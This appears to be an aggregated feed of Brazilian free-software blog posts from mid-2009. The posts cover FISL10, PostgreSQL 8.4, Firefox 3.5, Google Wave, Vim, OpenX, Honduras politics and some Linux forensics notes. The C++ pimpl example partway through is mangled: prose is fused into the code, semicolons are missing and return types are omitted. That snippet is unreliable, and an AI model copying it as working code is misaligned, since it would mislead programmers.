
Tira em homenagem à festa de assinaturas de chaves que ocorreu no fisl10. Não consegui fazer durante o evento, por falta de idéias (e de tempo/disposição). Que continue a série!
Você já deve ter notado que ouve uma atualização do KDE4 para a versão 4.2.4 no Mandriva 2009.1, com essa atualização veio também uma nova versão do Amarok.
Essa versão do Amarok já é mais manipulável, tanto que deixei o meu Amarok com a aparência do Amarok1.5 do KDE3, caso queira fazer o mesmo siga os passos:
Primeiro execute esses dois comandos como usuário em um terminal:
Agora abra o Amarok, e no Menu Principal dele selecione:
Agora, na interface principal do Amarok, procure pela ícone de chave Inglesa que fica embaixo a direita, clique nela e selecione a opção ‘bedi’
Assim que fizer isso o Amarok vai ficar com a aparência da screenshot acima.
Um bom manual para o inkscape
Um video legendado, originalmente em russo, mas muito, muito criativo.
Fiz essa montagem num papel de parede do Vista que tem um efeito de vidro quebrado. Bolei a ideia de algo quebrando o vidro. Versão Wide e Normal. Espero que gostem.




Foi finalmente lançado o postgreSQL 8.4 , acompanhe abaixo a nota de lançamento retirada do site da comunidade brasileira.
“O Grupo de Desenvolvimento Global do PostgreSQL lançou a versão 8.4, continuando o rápido desenvolvimento do banco de dados de código aberto mais avançado do mundo. Esta versão contém várias melhorias para tornar a administração, consulta e programação de bancos de dados PostgreSQL mais fáceis do que nunca. Com 293 modificações entre novos recursos e melhorias na versão 8.4, existem agora mais motivos para escolher o PostgreSQL para o seu próximo projeto.
As mudanças mais numerosas no PostgreSQL 8.4 são ferramentas e comandos para administração e monitoramento novos ou melhorados. Cada usuário tem sua funcionalidade favorita que tornará o seu dia-a-dia com o PostgreSQL mais fácil e produtivo.
Entre as melhorias mais populares estão:
* Restauração Paralela de Bases de Dados, aumentando a velocidade de recuperação de cópia de segurança (backup) em até 8 vezes;
* Permissões por Coluna, permitindo um controle mais granular de dados sigilosos;
* Suporte a Configuração Regional por Banco de Dados, tornando o PostgreSQL mais útil em ambientes com múltiplos idiomas;
* Upgrades In-place com o pg_migrator beta, permitindo migrações da 8.3 para a 8.4 sem tirar o banco do ar por muito tempo;
* Novas Ferramentas de Monitoramento de Consultas, dando aos administradores mais detalhes sobre a atividade das consultas.”
Veja a notícia completa no site http://www.postgresql.org.br/node/64 , veja também o post sobre o lançamento no site do fernando ike, http://www.midstorm.org/~fike/weblog/2009/07/01/postgresql-8-4-lancado/.
[]’s
Guto
O período do FISL deste ano foi bem divertido, aqui vão alguns apontamentos do FISL e de correlacionados:
Mas como nem tudo é perfeito...
Mesmo com os problemas, acho que o evento deixa um bom saldo positivo. O desenvolvimento de Software Livre no Brasil se fortalece muito em eventos como esse.
Esse post será simultaneamente publicado no blog trezentos no qual também estou fazendo parte.
Muitas vezes programadores de C++ e Java confundem encapsulamento com ocultação, o que não é a intenção da orientação a objetos.
No entanto, o contrário da ocultação, a exposição, também não é desejável para o encapsulamento, pois causa uma confusão entre interface e implementação.
Em C++, a declaração de uma classe força a exposição de sua estrutura privada. Um exemplo bem simples:
class X {
public:
X(int);
~X();
int get(void) const;
private:
int value;
}X, o que no caso não é um problema muito sério, mas em casos ligeiramente mais complexos, é possível corromper o encapsulamento.x.h por exemplo) passa a ser:class X {
class Ximpl;
public:
X(int);
~X();
int get(void) const;
private:
Ximpl *pimpl;
}x.cc):class X::Ximpl {
public:
Ximpl(int);
~Ximpl();
int get(void) const;
private:
int value;
}X::X(int value): pimpl(new X::Ximpl(value)) {
// Nada mais a fazer
}
X::Ximpl::Ximpl(int value): value(value) {
// Nada mais a fazer
}
X::~X() {
delete this->pimpl;
}
X::Ximpl::~Ximpl() {
// Nada mais a fazer
}
X::get(void) const {
return this->pimpl->get();
}
X::Ximpl::get(void) const {
return this->value;
}Desde último domingo quando o presidente de Honduras foi deposto e deportado tenho participando de diversos debates sobre o tema via twitter. Ao expor minha opinião sobre o caso encontrei opiniões similares, contrárias e muita, muita desinformação. Infelizmente sabemos somente aquilo que o novo governo e os demais poderes daquele país nos passam.
Pela mídia ficamos sabendo que houve golpe, onde o presidente teria sido defenestrado do cargo por iniciativa do exército, ja alguns blogs brasileiros e muitos latino-americanos dizem se tratar de resposta legal ao golpe do presidente. Tenho cá minhas convicções. Considerando que democracia é a mesma em qualquer lugar entendo que está, até agora, tudo dentro da legalidade e que a influência de Hugo Chavez não vitimou mais uma Democracia na América Latina.
Contudo, não compreendo espanhol tanto quanto o Jorge Alberto Araujo, Excelentíssimo Juiz do Trabalho no Rio Grande do Sul e que atualmente amplia seus conhecimentos com estudos no Uruguai, daí porque pedimos socorro ao mestre e fomos presenteados com os artigos:
Assim, recomendo fortemente a leitura do Direito e Trabalho.
OBS 1: Quer participar do debate no twitter? Siga: @josevitor, @jorgearaujo, @gravz, @ladyrasta, @viniciusbruno, @joviano e @joaomamedes e acompanhe a hashtag #honduras pela busca do twitter.
OBS 2: Este post no PlanetaGnu Brasil serve como provocação aos planetários para que ao menos acompanhem o debate pois o que está em jogo é a liberdade, princípio geral do direito tão questionado, aplaudido e desrrespeitado no mundo do Sofware Livre.
—
Na segunda-feira passada, dia 29 de Junho, participei do Google Developer Day 2009, um evento que reuniu cerca de mil pessoas ansiosas em ouvir as novidades do Google. Entre as principais novidades, o HTML 5 e o tão falado Google Wave.
A palestra de apresentação do Wave aconteceu de manhã, um pouco antes do almoço. A Stephanie e o Torsten (engenheiros do Google) fizeram uma demonstração em tempo real. É difícl explicar em poucas palavras o que é o tal do Wave, mas certamente se o e-mail fosse inventado hoje, seria como o Wave. Os engenheiros mostraram alguns recursos, naturalmente como está em fase pré-pré-alpha, alguns bugs apareceram, mas foi evidente que a ferramenta promete ser inovadora.
Entre os recursos mais interessantes, está a possibilidade de interagir em tempo real com diversas pessoas. A medida que vai escrevendo alguma coisa em um novo wave, os participantes podem acompanhar a sua digitação, inserir comentários, imagens, mapas e até vídeos do Youtube, que automaticamente aparece dentro do wave como num passe de mágica.
Olhando o público no auditório, muita gente ficou de queixo caído, eu inclusive. No meio da palestra veio a notícia que todos queriam ouvir: os participantes do Google Developer Day 2009 ganhariam um convite para testar o Wave. O povo ficou animado.
De fato, resolvi checar meu e-mail logo depois do almoço e lá estava o convite. Era um pré-cadastro, efetuei na hora e nesta madrugada recebi o convite definitivo para testar. Hoje de manhã fiz alguns testes e descobri que alguns amigos estavam presentes. Nos adicionamos e criamos um Wave com três participantes, onde pudemos avaliar a ferramenta. Ficamos perdidos no começo e aconteceram alguns problemas que me obrigaram a dar um ‘reload’ na página. Mas de uma forma geral, tudo que queria testar foi testado e fiquei com uma ótima impressão.Testei a inclusão de um vídeo do Youtube no Wave e meus amigos inseriram um mapa, bastando apenas digitar o endereço do local o mapa aparece automaticamente.
Entre os recursos interessantes, posso destacar:
Ainda é bastante lento, exige muito do navegador. Fiz os testes usando o Firefox 3.0.11 (default do Ubuntu) e em alguns momentos o consumo de memória aumentava muito devido os efeitos visuais. Talvez no Chrome ou no Firefox 3.5 o seu uso seja bem otimizado.
Ufa, é isto. Antes que me perguntem, ainda não existe uma forma de convidar novos usuários. Mas assim que houver uma forma de convidar novos participantes, informarei via Twitter.
E para quem estiver curioso em ver um screenshot, segue a brincadeira que fiz hoje de manhã, clique para ampliar:
![]() |
| From Screenshots |
Anunciado agora a pouco por Josh Berkus na lista pgsql-announce. O lançamento, se não me engano, era pra coincidir com o FISL, mas bugs de última hora atrasaram-no por uns dias.
Segue uma tradução rápida:
O Grupo de Desenvolvimento Global do PostgreSQL lançou a versão 8.4, continuando o desenvolvimento rápido do banco de dados open source mais avançado do mundo. Essa versão contém inúmeras melhorias que tornam a administração, consulta e programação de bancos de dados PostgreSQL mais fácil que nunca. Nosso time de desenvolvimento gastou 16 meses adicionando cerca de duzentas melhorias em todos os aspectos das funcionalidades do banco de dados, ajudando cada usuário de PostgSQL de várias formas diferentes.
Muitas das mudanças no PostgreSQL são ferramentas de administração e monitoração novas e melhoradas e novos comandos. Cada usuário tem suas características favotiras que irão tornar o seu trabalho cotidiano com o PostgreSQL ainda mais fácil e produtivo. Entre as melhorias mais populadres estão:
A versão 8.4 também torna a análise de dados mais fácil através das cracterísticas avançadas do padrão SQL ANSI 2003 de windowing functions, common table expressions e consultas recursivas. Melhorias para procedimentos armazenados, como parâmetros padrão e parâmetros variáveis, tornam a programação do servidor de banco de dados mais simples e mais compacta. E é claro, também foram incluídas melhorias de performance nessa versão.
Baixe a versão 8.4 hoje e comece a usar e desfrutar do PostgreSQL ainda mais!
* Download PostgreSQL 8.4
http://www.postgresql.org/download/
* Release Notes
http://www.postgresql.org/docs/8.4/static/release-8-4.html
* List of 8.4 Features
http://www.postgresql.org/about/press/features84.html
* Press Release
http://www.postgresql.org/about/press/presskit84.html.br
A lot of new web frameworks don't work that well scalability-wise. Many design decisions don't work that well. Too small sql queries and so. Mostly because of something called the active record pattern. There's a one-on-one mapping between objects and database tables. With the help of sqlalchemy, turbogears 2.0 uses a better mechanism: eager, lazy and dynamic object graphs. The data mapper pattern. Sourceforge is going to use/is already using turbogears for most of their pages!
Retirado de http://reinout.vanrees.org/weblog/2009/07/01/ep-turbogears.html, grifo meu.
Porto Alegre continuará sediando o FISL. GNOMErs estão tranquilos, pois a cidade ama o GNOME.
Ps: Pena que não guardei o nome da rua. =/
Todos os anos, milhares de pinguins viajam para as áreas mais frias para se encontrarem. É que eles vão para o FISL.
Olá pessoal!
Este post é mais uma pequena reflexão que não tem muito a ver com Software Livre, mas eu achei que explicaria isso melhor aqui no blog do que em um twitt.
Um dia desses eu estava fazendo umas arrumações em casa e deixei a tv ligada em um canal musical, a MTV Brasil, e eu achei estranho estar ouvindo a terceira música do Gorillaz em sequência, aí prestei atenção e ví que o nome do tal programa é “Lab ao Cubo“. Mas agora reflitam comigo: UM clipe ao cubo é igual a… UM CLIPE! De onde a MTV tirou que 1³ = 3? Ou tudo o que eu aprendi sobre matemática está errado ou a MTV cometeu uma pequena gafe.
Acho que a galerinha de lá está meio por fora do assunto matemática hehehe.
InFog
Leia também:
AJUDE A DIVULGAR!
ATO PÚBLICO CONTRA O AI-5 DIGITAL NO RJ
* Contra o Projeto de Lei do Senador Azeredo
* Em defesa da liberdade e privacidade na Internet
* Pelo livre compartilhamento e troca de arquivos
O Rio vai dizer um Mega Não!
Dia 01 de julho – 18 horas
Auditório da Associação Brasileira de Imprensa – ABI
R. Araújo Porto Alegre, 71 – Centro – Rio de Janeiro – RJ
Apoio:
Deputado Estadual Alessandro Molon
Deputado Federal Jorge Bittar (licenciado)
Deputada Federal Manuela D’Ávila
Deputado Federal Paulo Teixeira
Convocatória:
Associação Brasileira de Centros de Inclusão Digital – ABCID
Associação Brasileira de Imprensa – ABI
Central Única dos Trabalhadores – CUT
Centro de Ação e Comunicação Comunitária – CENACOC
Coletivo Ciberativismo
Coletivo Digital
Coletivo Intervozes
Conselho Regional de Engenharia do RJ – CREA-RJ
MegaNão!
Movimento Música Para Baixar
Projeto Software Livre – Brasil
Setorial de TI do PT do RJ
Sindicato dos Bancários do Rio de Janeiro
Sindicato dos Trabalhadores em Educação da Universidade Federal do Rio de Janeiro – Sintufrj
Sindicato dos Servidores das Justiças Federais no Estado do RJ – Sisejufe
União Estadual dos Estudantes – UEE – RJ
União Nacional dos Estudantes – UNE
E ae galera, não estou conseguindo fazer posts regulares, estou lidando com muitos projetos e viagens, recentemente estive no FISL10 foi bacana, depois eu conto tudo com mais detalhes, agora vamos ver as principais novidades dos últimos 45 dias.
O Firefox 3.5 foi lançado, download em http://www.getfirefox.com e veja o release notes da versão em http://www.mozilla.com/en-US/firefox/3.5/releasenotes/
Wordpress 2.8 lançado e já está rodando no blog, download em http://www.wordpress.org/download e o release notes em http://codex.wordpress.org/Version_2.8
Foi lançado o Kernel 2.6.30, faça o download em http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.30.tar.bz2 e veja o changelog em http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.30
O PHP 5.3.0 está disponível, faça o download em http://php.net/downloads.php#v5.3.0 , veja o release announcement em http://php.net/releases/5_3_0.php e o changelog em http://php.net/ChangeLog-5.php
O Fedora 11 foi lançado, downloads em http://docs.fedoraproject.org/release-notes/f11/ ou leia as notas de lançamento em http://docs.fedoraproject.org/release-notes/f11/
O FreeNas tem nova versão 0.69.2, mais informações em http://www.freenas.org/
Estas foram as notícias que mais chamaram a atenção nestes útlimos dias, divirta-se com as atualizações ;)
Conhece alguma novidade interessante, mande a sua sugestão!
[]’s
Guto
Muito criativo, veja com os próprios olhos:
http://pt-br.www.mozilla.com/pt-BR/firefox/.
A instalação é complicada porque o Arch é só para iniciados:
yaourt firefox-3.5
É sensivelmente mais rápido. Como ainda está no AUR, ele cria um diretório firefox-3.5 dentro do mozilla. Os plugins estão funcionando, mas as extensões devem ser instaladas separadamente (assim como as máquinas de buscas): muito bem feito o trabalho do twa022. Entrei no G1 e renderizou rapidinho. Vi que o pedágio em SP vai aumentar, tô com pena do pessoal de Ribeirão Preto, que me recebeu na semana passada na fantástica Escola de Modelagem Computacional (conto em um próximo post).
Nem tudo nessa vida é perfeito como gostaria. Em meu caso específico, ainda uso Windows no trabalho e muitos documentos que utilizo são em formato PDF. Tá, tudo bem, aí vem um e me pergunta, poxa mas porque não utilizar o Linux em vez do usar o outro sistema? A resposta é simples, ainda usamos algumas soluções proprietárias que não existem para o sistema do pingüim.
Apesar de meu notebook ficar ligado o dia todo e usar o Ubuntu para complementar meu trabalho, uma das coisas que sinto falta é de um bom leitor de PDF para Linux. O Evince cumpre bem esta tarefa, mas ainda da umas engasgadas quando se trata de documentos mais pesados. Poderia então usar a versão do Adobe Reader para meu sistema, mas sinceramente, não tenho coragem de instalar aquele trambolho nem na máquina em que trabalho, tão pouco então o faria em meu Ubuntu.
Nessa máquina que utilizo em meu serviço, o leitor de PDF usado é o Foxit Reader. Conheci esse programinha por acaso e desde então venho utilizando-o em meu ofício. Sou fã do Foxit devido ao seu pequeno uso de memória e especialmente por ser muito rápido.
Pois bem, se você já conhecia esse software e sempre quis utilizá-lo no Linux, chegou a hora de instalar a versão desse pequeno notável em seu sistema.
Para proceder a instalação no Debian e derivados, basta clicar aqui, baixar o arquivo e posteriormente ir até a pasta onde foi salvo, dar um clique duplo no pacote e pronto. Instalado!
Para quem utiliza outras versões ou que compilar o código fonte, visite o site do programa e instale o pacote que melhor lhe atender.
Tagged: Foxit Reader, Leitor de PDF, PDF
Quando comecei a trabalhar na Conectiva, em 1997, também comecei a (tentar) utilizar diariamente um editor de textos estranho, todo preto, sem menus nem botões, que mais apitava do que escrevia.
— Bip. Bip. Bip.
— Eu digito e nada parece!
— Bip. Bip. Bip.
— Será que meu teclado estragou?
— Bip. Bip. Bip.
— Maldito editor dos infernos que não faz nada e ainda trava!
— Bip. Bip. Bip.
— Como é que eu saio? Esc? Ctrl-Q? Ctrl-C?
— Bip. Bip. Bip.
— M**** de programa (dedo no botão liga/desliga do computador)
E assim foi a minha primeira experiência com o Vim. Experiência não, frustração. “Que droga de editor”, pensei. Como todos ali em volta podiam usar esse treco que não faz nada e ainda trava o computador?
A primeira de muitas frustrações.

O editor Vim, pronto para apitar
O Vim é um editor casca-grossa. Ele não te ajuda, não é intuitivo, não é bonito, não dá nenhuma mensagem esclarecedora. Ele só apita.
Depois de várias (inúmeras, diversas, constantes) aulas de humildade que este maravilhoso editor me proporcionou, aos poucos ele começou a diminuir o número de apitos. Eu fui pegando o jeito dos comandos mais básicos. Minha tática foi me policiar a sempre pensar antes de digitar qualquer tecla, com um objetivo fixo na cabeça: “maldito, você não vai apitar mais”. Com rigorosa disciplina e concentração, eu já conseguia passar um ou dois minutos sem ouvir nenhum apito. Quem está comando agora, hein Vim manézão?
— Bip.
— Droga.
Acabou virando questão de honra dar uma lição naquele editor petulante. Quem ele pensa que é para ficar apitando na cara dos outros assim, indiscriminadamente? Basta! E assim prometi para mim mesmo que um dia eu iria dominar aquele mala.
————— ∞ —————
Meses depois, ele já não apitava mais (santo :set visualbell hehe).
Apertar o Esc a toda hora tornou-se natural.
O :wq parecia que eu já conhecia desde criancinha.
E aquele tal .vimrc passou de alienígena a camarada.
O caminho não foi fácil, a curva de aprendizado do Vim (curva?) é extrema. Você apanha, apanha, apanha, apanha, apanha e de repente um dia acorda iluminado e tudo faz sentido. De inimigo o editor torna-se seu companheiro inseparável para todas as horas.
Escrever programas, editar arquivos de configuração, relatórios, emails, o mundo é bem melhor com uma tela preta.
$ export EDITOR=/bin/vi $ set -o vi $
É, o Vim é o melhor editor de textos de todos os tempos! \o/
Mas apenas usar o Vim e deliciar-se sozinho com suas mágicas poderosas era muito egoísmo. O MUNDO precisava conhecer este editor maravilhoso! Que ganho em produtividade as empresas teriam se todos os funcionários usassem o Vim! yyp é muito mais rápido que Ctrl-C Ctrl-V! E os mapeamentos, e as abreviações, e as marcas, e os…
E assim nasceu uma área dedicada ao Vim dentro da minha recente “página” de internet, em 1999.
Lá eu guardava os links para artigos legais que eu encontrava, e também escrevi minhas próprias dicas e posteriormente artigos mais elaborados, que foram publicados na Revista do Linux e na Linux Magazine. Em 1999 mesmo também criei a lista vi-br no antigo eGroups (atual Yahoo! Groups) que até hoje reúne os aficionados pelo editor.
————— ∞ —————
Para comemorar os 10 anos do meu site, quero dar um presente especial para aqueles que o acompanham desde o início e que até hoje ajudam em sua divulgação: os nerds.
Dessa vez, nada de MiGuXeiToR, AdSense, carveboard, viagens ou música. Quem vai ganhar uma reforma geral são as áreas nerds do site, que confesso, estão há algum tempo esquecidas por este que vos escreve. Isso já mudou.
Já investi mais de 30 horas na reforma das áreas nerds do site, e outras tantas ainda serão nos próximos dias. É um trabalho em andamento que espero melhorar com o retorno de vocês.
O foco da reforma é somente um: conteúdo. Afinal, isso é o que interessa, não é mesmo?
Pensei sobre os artigos do site, sobre como eu poderia melhorar a experiência do usuário no sentido de ele aproveitar melhor os textos, realmente aprender e ficar sedento por mais conhecimento. E uma vez sedento, oferecer mais links e artigos para que ele continue lendo até saciar-se. Tipo a Wikipedia, onde um artigo puxa o outro.
Para mim ficou claro que o formato atual do site apesar de ser completo no sentido de o megamenu conter todos os links possíveis para todas as áreas do site, isso atrapalha aquele que quer simplesmente ler mais sobre o assunto atual. Então eu precisava de um menu mais especialista, que listasse apenas os artigos do assunto em questão. Por exemplo, não faz sentido listar o MiGuXeiToR na área de Vim.
Mas as ideias que fiquei maturando na cabeça durante semanas só fizeram sentido após ler o artigo In Defense of Readers do A List Apart, que em resumo, diz para não distrair o leitor com supérfluos. Era a peça que faltava.
A chave era valorizar o prazer de ler acima de qualquer outra coisa: navegação, caixa de pesquisa, breadcrumb, nome do site, e até anúncios (vou deixar de ganhar $$$, mas é por uma boa causa).
Se o cara chegou no artigo sobre como selecionar texto no Vim, é isso que ele quer saber e pronto! Qualquer coisa fora o conteúdo do artigo só vai desviar a atenção e atrapalhar a leitura. Tipo a experiência de ler um bom livro, que lá na página 15 não tem nenhum sumário, índice, propaganda ou dados sobre o autor. É o texto e pronto. É o que o leitor quer.
Lá fui eu tentar aplicar isso no site. De volta ao básico, tirei tudo. Só sobrou o conteúdo.
O tamanho do texto, espaçamento e fonte “quase-serifa” tentam lembrar a experiência do livro impresso. Margens generosas de ambos os lados dão espaço para o texto brilhar sozinho, sem competição nenhuma com menus ou anúncios.
Ao chegar ao final do texto, é hora do leitor decidir o que fazer:
A área sobre o Vim está estreando a novidade, sendo a primeira a mudar para o formato novo. Experimente, depois volte aqui contar o que achou:
Tem uma diferença, não? :)
Leia todos os artigos:
Veja o índice com links para outros artigos e informações:

Dica rápida:
1) Novo Firefox na praça
Lançada versão 3.5 do Firefox
2) o TabMixPlus pra variar ainda não foi lançado oficialmente, permanece a sugestão dos releases anteriores: vá ao fórum do desenvolvedor e baixe a versão de testes: basta clicar no link em azul no final do primeiro post Tab Mix Plus Dev-Build 0.3.7.4pre.090516
(ou neste é claro)
Eh, eu fui ao Google Developer Day. Não devo ser uma pessoa deslumbrável. Ou minha personalidade de diva resmungona realmente chegou ao ápice. A falta de internet me incomodou (tinha wireless do hotel, mas custava uma pequena fortuna), a falta de chá/café me incomodou (tava frio, pô, eu sei que lindas modelos distribuíram picolés loucamente, mas eu queria um chá quentinho para aguentar as salas geladas, picolé… hm, não) e era muito bizarro aquela mesa de coffee-break linda, montada, e o garçon dizendo “só dez pras quatro”.
Ah, sim, vocês querem saber das palestras, claro, né? Se eu falei até agora de outra coisa, é porque não me impressionaram tanto assim. Olha, o Google Wave é SENSACIONAL, isso é bem verdade. Mas… o resto… achei… hm… “legal”, “bacana”, adjetivos não tão empolgantes assim. Palestras muito longas e repetitivas, talvez. Ou palestrantes não muito carismáticos (eu queria ENFORCAR o francesinho que a cada dez palavras dizia “Brazil!” “Futebol!” “Canvas!”, ah, ok, canvas fazia parte do script).
Enfim, aguardem o Google Wave. Acho que todo mundo foi ao Google Developer Day pra isso, e o resto foi encheção de lingüiça de HTML 5 (oooh look shiny!) e Social Bullshit. Com picolés e mulatas.
As some of you may know, we had the FISL 10 in Porto Alegre, here in Brazil. As always, it was a great event with a lot of good speaks and crazy people hanging out! If you had never been there, I really advise you to make an effort to go for it!
This year we had a very important visitor: The President Lula! He walked along all the places of the event, including the User’s Group and commercial area. Obama was right! He is the guy!
Of course the brave Ubuntu Brazil Community was there, shaking up the event and making Ubuntu Linux present. We also managed to give Lula a “world famous” Ubuntu-BR T-shirt (check out the video!)
Thanks to everybody that was there, supporting the Ubuntu-br community! Now let’s work hard, and on the meanwhile, prepare for Latinoware!

Just a little part of the community!


Terminou a maratona do 10º FISL, especial pela edição (com direito a 8000 pessoas e o presidente Lula) quanto por ser o meu primeiro. A expectativa era muito e hoje ao escrever estas palavras posso dizer que a mesma foi alcançada com boas notas. No geral 8 em 10 para todo o evento.
Eu também não tinha ido a Porto Alegre antes e mesmo ficando em um Hotel mais central como o Duque, tive sorte de ter a disposição um ônibus de fácil acesso, a cerca de um quarteirão do Hotel, que passava de 06 em 06 minutos, com conforto interno de um micro ônibus. Como fiquei todos os dias do Hotel para o Evento e do Evento para o Hotel, tudo correu muito bem, sem stress com transito e gastando em media 20 min para chegar a PUC.
O local apesar das criticas me pareceu bastante confortável, com boas salas e estrutura, além de uma organização afiada com o tempo e as adaptações dos palestrantes. Algumas salas distantes nos blocos externos ao principal mereciam uma melhor identificação do local. Mas nada grave. Não deixei então de consumir o maior número de palestras possíveis equilibrando as técnicas com as não técnicas.
Merecem na minha opinião o destaque para:
Monitorando ambientes utilizando Software Livre - por Edmilson de Novais Silva
(P) Davi ou Golias? Vencendo no mercado disputando de igual para igual com os gigantes -
Como ingressar no mercado usando software livre - por Ricardo Bimbo
Copyright vs Community - por Richard M. Stallman
Testes de Aceitação em Python com Pyccuracy - por Bernardo Heynemann Nascentes da Silva, Gabriel Falcão , Guilherme Chapiewski
Capitalismo cognitivo, teoria dos jogos e software livre. - por Javier Bustamante Doas
O Projeto GNOME: Evolução e Participação - por Jonh Wendell, Gustavo Noronha e Júlio Cesar
Software livre, cultura hacker e o ecossistema da colaboração - por Sergio Amadeu, Anderson F. de Alencar, Murilo B. Machado, Rafael Evangelista e Vicente Aguiar
Qualidade em Empresas de TIC baseadas em Software Livre ou OpenSource - por Douglas Conrad
WebKitGTK+ - o que é e como usar - POR Kov
E a Liberdade?
Dentre tudo mais que foi possível acompanhar, o espirito do evento com certeza esteve focado na liberdade e como o compartilhamento é essencial no novo modelo econômico da Sociedade da Informação e os impactos reais de usar um sistema livre, como o kernel Linux Libre.
Eu mesmo passei alguns dias pensando nestas questões e como colocar o que foi visto em prática, pois eu acredito que ir a um FISL esta além de simplesmente desfilar pelo evento ou rever amigos. É claro que trocar idéias e conhecer pessoas é algo importante e faz parte do todo.
Liberdade é algo que precisa de contexto. E deve-se ter cuidado com o anarquismo. Liberdade deve ser discutida e praticada com certas ressalvas, principalmente porque nossa liberdade individual não pode fugir do discernimento e da responsabilidade com o outro. Não é difícil falar em bom senso neste caso antes de tudo.
Junto com a liberdade não se pode deixar de pensar que a informação compartilhada é realidade no novo cenário, é necessário ao usuário, ao CEO e a empresa perceberem que existe poder na informação e que ela deve fluir em um novo sistema de valor, diferente do valor do objeto perecível a informação e o conhecimento são frutos de compartilhamento e troca de resultados.
Um terceiro impacto pode ser sentido ao vislumbramos que o Software Livre esta inserido nesta vanguarda de novos elementos. Sua essência o coloca mais próximos do compartilhamento e do valor em comunidade. É um mercado que não encontrar concorrente real, uma vez que o software proprietário e fechado tenta fazer com o modelo de desenvolvimento de software seja o mesmo da fabricação e comercialização de pneus.
O software não é como ouro, criado e estabelecido como tal diante da economia. É como um alface de uma horta que se não for cuidado perderá o seu valor com o tempo. O tempo em vez de crescer o valor de um software, pode sepultar o mesmo.
Assim como o conhecimento, o software tem valor pelo número de usuários, desenvolvedores e inovações constantes. Inovação vem do compartilhamento de idéias, da discussão das possibilidades em grupo e não de mentes fechadas e isoladas. O isolamento pode matar uma idéia e um software.
Da mesma forma que a FSF bem representada por Oliva e Stallman alertou para as restrições do mercado. Para a necessidade de novos modelos de negócios diante desta realidade de valores e informação. Os dois pontos chaves que percebi é a liberdade de compartilhar e a questão do kernel Linux ter suas partes podres que fazem com que certos componentes não livres sejam usados.
Contudo eu tenho ainda meus receios de gritar pelo radicalismo destas idéias. Não podemos acreditar que o modelo atual esta preparado para abraçar o free compartilhamento. Assim como também não podemos ficar acomodados vivendo no meio da discussão baixando nossos vídeos piratas e sendo transgressores preguiçosos. Acredito que a comunidade deve ser alertada e o que começou no meio da computação (o Software Livre) deve agora ganhar contornos reais diante da Sociedade da Informação e do valor do compartilhamento para o futuro das organizações. Todos devem adentrar novos debates.
Da mesma forma que adotar o Kernel livre das armadilhas que diminuem nossa liberdade, deve passar por cada vez mais troca de experiências, indicações de fornecedores de tecnologias cujo hardware comporte bem as distribuições com o kernel libre. Não somente a liberdade deve ser alcançada como o equilibro entre os desejos em prol da mesma, e quando falo em desejos em falo dos fabricantes e dos que não desejam abandonar suas distribuições de coração para abraçar o kernel da liberdade.
E agora?
Existe outros temas que me chamaram a atenção como a necessidade da prestação de serviços em Software Livre ter sua qualidade para que não somente o software seja reconhecido como também o serviços.
Uma empresa de Software Livre deve lidar com um tipo diferente de profissional, o que adota a comunidade como membro do processo de prestação de serviços. Este profissional é proativo, é responsável mais exige certas flexibilidades e deve poder colaborar com as comunidades em geral.
O futuro?
Minhas idéias em fazem questionar se da esma forma que estamos diante da sustentabilidade, da TI verdade, já seria o momento de propor as empresas o modelo e a filosofia do Software Livre dentro da responsabilidade que eles possuem com a nova sociedade da informação.
Iniciar discussões e verificar como os cases de sucesso atuais podem demonstrar que antigos conceitos devem ser revistos e que elementos como a Teoria dos Jogos (na escolha do melhor e da mais egoísta) e a própria cauda longa (diversos gerando receitas onde antes era para pouca variedade) são fatores que demonstram que existe mudanças aparecendo.
Acredito que vou usar este texto de base para escrever aos poucos aprofundando.
Isto também demonstra o quanto foi importante ter acesso a informação, ao conhecimento, sem estes compartilhamento, estaríamos cada vez mais achando que a revolução industrial continua e que o real potência do intelecto é apenas metáfora.
Apesar de ter alguns espaços neste blog reservados à publicidade, o que ganho com isto não é o suficiente para viver, mas consigo pagar todos os custos de hospedagens e ajuda na participação de alguns viagens e eventos relacionados a internet. Não é muito, mas é uma graninha que aparece na minha conta de vez em quando.
Tenho feito testes com alguns sistemas de afiliados, como Google Ad Sense, Submarino e Lomadee, este último é uma melhoria do programa de afiliados do Buscapé e Bondfaro. A receita maior vem sempre dos dois últimos, o Google AdSense é interessante, mas demora um certo tempo para ver algum dinheiro na conta, além de ter todo desconforto de precisar ir ao banco para fazer câmbio.
Todos os sitemas de monetização liberam um código JavaScript onde é necessário inserir nos locais adequados do blog, onde quer que apareça. Nestas mudanças de código, já cometi alguns erros como esquecer de fechar <div> e o banner ficar todo torto na página do blog, ou então ficar em um tamanho desproporcional ao espaço que lhe foi delimitado.
Para evitar estes erros e tornar o gerenciamento de banners mais fácil, resolvi testar o OpenX, que é um gerenciador de banners escrito em PHP, que possui uma versão “hosted”, ou seja você pode utilizar uma versão compartilhada e administrada pela equipe do OpenX ou baixar o código fonte e instalar e administrar seu próprio “Ad Server”.
A grande vantagem é facilitar o gerenciamento de banners, inclusive para sistema de afiliados como Google Ad Sense, Submarino, Lomadee, entre outros. Depois de ter criado sua conta no hosted ou ter instalado sua própria versão, é necessário criar as “zonas”, que são áreas delimitadas que servirão banners. Cada zona tem suas características, como altura e largura dos banners que serão publicados, regras de exibição e controle de impressões/cliques. É possível servir seus próprios banners imagens ou utilizar o código JavaScript de terceiros (como no caso de programa de afiliados) para que sejam publicados nas zonas pré-estabelecidas.
O OpenX permite ter um controle maior sobre o que é publicado, assim como criar diversos relatórios de impressão e cliques. Além disto, permite dividir a mesma zona para vários sistemas de afiliados diferentes, por exemplo, em um único espaço, você pode dividir metade das impressões para o Submario e outra metade para o Lomadee ou Google Ad Sense. O critério de exibição você mesmo escolhe, que pode ser uma percentagem para cada um, número de exibições ou uma data para a publicação final dos banners.
Para saber mais, visite o site do OpenX em http://www.openx.org
Fica a dica!
| Blake Johnson/Universidade Yale |
![]() |
| Novo chip quântico criado pelo grupo da Universidade Yale; PC desse tipo é sonho |
Segue algumas anotações realizadas no FISL 10. Qualquer dia eu organizo isso melhor
# Forense em Linux - http://eriberto.pro.br
- Insert Linux Live CD Forense ~ 60 MB.
- Usar Sleuthkit - http://www.sleuthkit.org/sleuthkit/
- Usar ls -lua e ls -lta para ver a data de modificação dos arquivos
- Montar dump de imagem com “RO” e nunca passar fsck
- chkrootkit -r /forense
- rkhunter -c -r /forense
- freshclam; clamav -r /forense
- Usar strings + grep por data (apache) ou comandos (rm) em dd de disco/mem
- find /forense -mtime -2 => arquivos suspeitos alterados recentemente
